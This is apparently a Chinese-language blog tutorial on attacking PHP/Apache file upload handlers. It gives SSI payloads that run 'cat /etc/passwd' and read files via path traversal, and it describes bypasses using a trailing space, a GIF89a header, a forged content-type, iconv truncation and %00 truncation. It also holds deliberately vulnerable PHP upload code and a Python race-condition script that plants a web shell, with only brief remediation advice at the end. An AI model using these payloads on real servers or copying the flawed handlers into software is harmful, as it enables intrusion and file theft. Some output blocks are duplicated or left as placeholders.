以前遇到文件上传的时候,如果限制了脚本解析,只是当做XSS来用,今天看到如果网站支持shtml的话 可以尝试执行命令和读取文件。
Apache下开启SSI配置  :
1)去掉AddType text/html .shtml ,AddOutputFilter INCLUDES .shtml前面注释
2)查找Options Indexes FollowSymLinks 在后面加上INCLUDES
3)service httpd restart

执行命令:
<!–#exec cmd=”cat /etc/passwd”–>

读取文件:
<!–#include file=”../../../../../etc/passwd”–>  //相对路径
<!–#include virtual=”/etc/passwd”–>  //需要绝对路径
老外已经写好了现成的代码,现在地址:http://www.mottoin.com/wp-content/uploads/2016/07/code.zip
测试结果:

如果值不为空则表示执行成功。

所以遇到可以上传任意文件,但是无法拿shell的时候可以尝试上传.stm、.shtm、 .shtml。

搜索关键函数:
move_uploaded_file() 接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
1、未过滤或本地JS校验
2、黑名单扩展名过滤:
限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。
例如下面的代码:

<?php
function getExt($filename){
 return substr($filename,strripos($filename,'.')+1);
}
if ($_FILES["file"]["error"] > 0){
 echo "Error: " . $_FILES["file"]["error"] . "<br />";
 }
else{
 $black_file = explode("|", "php|jsp|asp"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
 if (in_array($new_upload_file_ext,$black_file)){ 
 die(); 
 }
 else {
 $filename = time().".".$new_upload_file_ext;
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload Success";
 }
 }
 }
?>

不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)。

3、getimagesize函数验证:
只要在文件头添加GIF89a即可,我们来测试一下
var_dump(getimagesize(“phpinfo.php”));
然后phpinfo.php文件的内容为:<?php phpinfo(); ?>
结果返回bool(false)
修改文件内容如下:
GIF89a
<?php phpinfo(); ?>
返回结果为
array(6) {
[0]=>
int(2573)
[1]=>
int(16188)
[2]=>
int(1)
[3]=>
string(27) “width=”2573″ height=”16188″”
[“channels”]=>
int(3)
[“mime”]=>
string(9) “image/gif”
}
4、文件头content-type验证绕过:
验证$_FILES[“file”][“type”]的值,这个是可控的。
5、函数误用导致上传绕过
以iconv()函数为例,在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:$filename=”shell.php(hex).jpg”;(hex为0x80-0x99),经过iconv转码后会变成$filename=”shell.php “。
我们来测试一下,程序如下:

<?php
 $allow_file = explode("|", "gif|jpg|png"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"]))); //取得被.隔开的最后字符串
 if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
 echo "$new_upload_file_ext: False ext"; 
 }
 else {
 $filename = iconv("UTF-8", "gb2312", $_FILES["file"]["name"]);
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload ".$filename." Success";
 }
 }
?>

然后我们上传文件,添加空格,然后切换为Hex模式,将20修改为80~99的数。来看一下返回结果
Upload info.php Success
发现成功截断为info.php
6、竞争上传
主要涉及到的为copy函数。代码如下:

<?php
 $allowtype = array("gif","png","jpg");
 $path = "upload/";
 $filename = $_FILES['file']['name'];
 if (move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
 echo "file upload success.file path is: ".$path.$filename."\n<br />";
 }
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"])));
 if(!in_array($new_upload_file_ext,$allowtype)){
 #unlink($path.$filename);
 echo "Disallow type";
 }
?>

可以看到文件是先上传上去然后检查了扩展名,如果不在白名单内就删除,在一些CMS中会检查目录下所有非JGP的文件并删除。
我们可以生成临时文件(tmp.php)–>不断请求tmp.php在上层目录生成shell.php文件–>删除当前目录下tmp.php等非jpg文件,但留下了上层目录下的shell.php文件–>成功!
我们用Python多线程访问info.php,代码如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading
import time
is_exit = False
def create_info():
    global is_exit
    while not is_exit:
        url = "http://172.16.100.1/test/upload/info.php"
        resp = requests.get(url)
for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x
def check_info():
    global is_exit
    print "start threading check shell.php:"
    url = "http://172.16.100.1/test/upload/shell.php"
    while True:
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file shell.php success."
            break
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'
结果如下:
.....
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

结果如下:

…..
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

正确的做法:
1)上传扩展名白名单,使用in_array()或 利用===检查。
$allow_file = explode(“|”, “gif|jpg|png”); //允许上传的文件类型组
$new_upload_file_ext = strtolower(end(explode(“.”, $_FILES[‘upload_file’][‘name’]))); //取得被.隔开的最后字符串
if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
exit(“$new_upload_file_ext: 不允许上传”);
}
2)文件名重命名为随机数
3)Nginx上配置访问上传目录下jsp或者jspx文件返回403

这个漏洞只有当只有在$name是POST、GET变量时才可以触发。所以漏洞比较鸡肋。当然不排除有些程序员会这个写。
因为如果文件名称是用$_FILES[“file”][“name”]来读出的话,已经是截断后的内容了。
我们来测试一下
PHP程序如下:

<?php
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br />";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  echo "Type: " . $_FILES["file"]["type"] . "<br />";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  echo "Stored in: " . $_FILES["file"]["tmp_name"]. "<br />";
  $allow_file = explode("|", "gif|jpg|png"); //允许上传的文件类型组
  $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"]))); //取得被.隔开的最后字符串
  if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
      echo "$new_upload_file_ext: False ext";      
  }
  }
?>

然后我们上传一个文件1.php,截断数据包添加%00.jpg,然后将%00解码

123

可以看到返回的结果中Upload: 1.php,说明使用$_FILES获取到的上传文件名已经是截断后的,所以还是无法突破扩展名的检测。所以我们改一下程序:

<?php
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br />";
  }
else
  {
#  echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  $filename = $_REQUEST['filename'];
  $allow_file = explode("|", "gif|jpg|png"); //允许上传的文件类型组
  $new_upload_file_ext = strtolower(end(explode(".", $filename))); //取得被.隔开的最后字符串
  if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
      echo "$new_upload_file_ext: False ext";      
  }
  else {
  	echo "$new_upload_file_ext: Success ext"; 
  }
  }
?>

然后测试一下:

123